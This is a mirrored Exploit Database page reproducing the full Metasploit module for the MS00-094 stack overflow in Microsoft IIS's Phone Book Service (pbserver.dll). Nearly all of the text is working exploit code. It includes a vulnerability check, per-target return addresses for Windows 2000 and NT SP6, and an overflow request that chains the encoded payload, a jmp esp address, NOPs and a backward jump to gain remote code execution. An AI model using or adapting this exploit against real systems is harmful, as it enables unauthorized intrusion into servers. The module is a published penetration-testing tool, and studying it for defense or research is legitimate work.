Microsoft IIS – Phone Book Service Overflow (MS00-094) (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16357/

• ##
  # $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS Phone Book Service Overflow',
  			'Description'=> %q{
  					This is an exploit for the Phone Book Service /pbserver/pbserver.dll
  				described in MS00-094. By sending an overly long URL argument
  				for phone book updates, it is possible to overwrite the stack. This
  				module has only been tested against Windows 2000 SP1.
  			},
  			'Author' => [ 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2000-1089' ],
  					[ 'OSVDB', '463' ],
  					[ 'BID', '2048' ],
  					[ 'MSB', 'MS00-094' ],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 896,
  					'BadChars' => "\x00\x0a\x0d\x20%&=?",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
  					['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
  					['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
  				],
  			'DisclosureDate' => 'Dec 04 2000',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('URL', [ true,"The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
  			], self.class)
  	end
  
  	def check
  		print_status("Requesting the vulnerable ISAPI path...")
  		res = send_request_raw({
  			'uri' => datastore['URL']
  		}, 5)
  
  		if (res and res.code == 400)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		print_status("Sending overflow...")
  
  		res = send_request_raw({
  			'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
  		}, 5)
  
  		handler
  
  	end
  
  end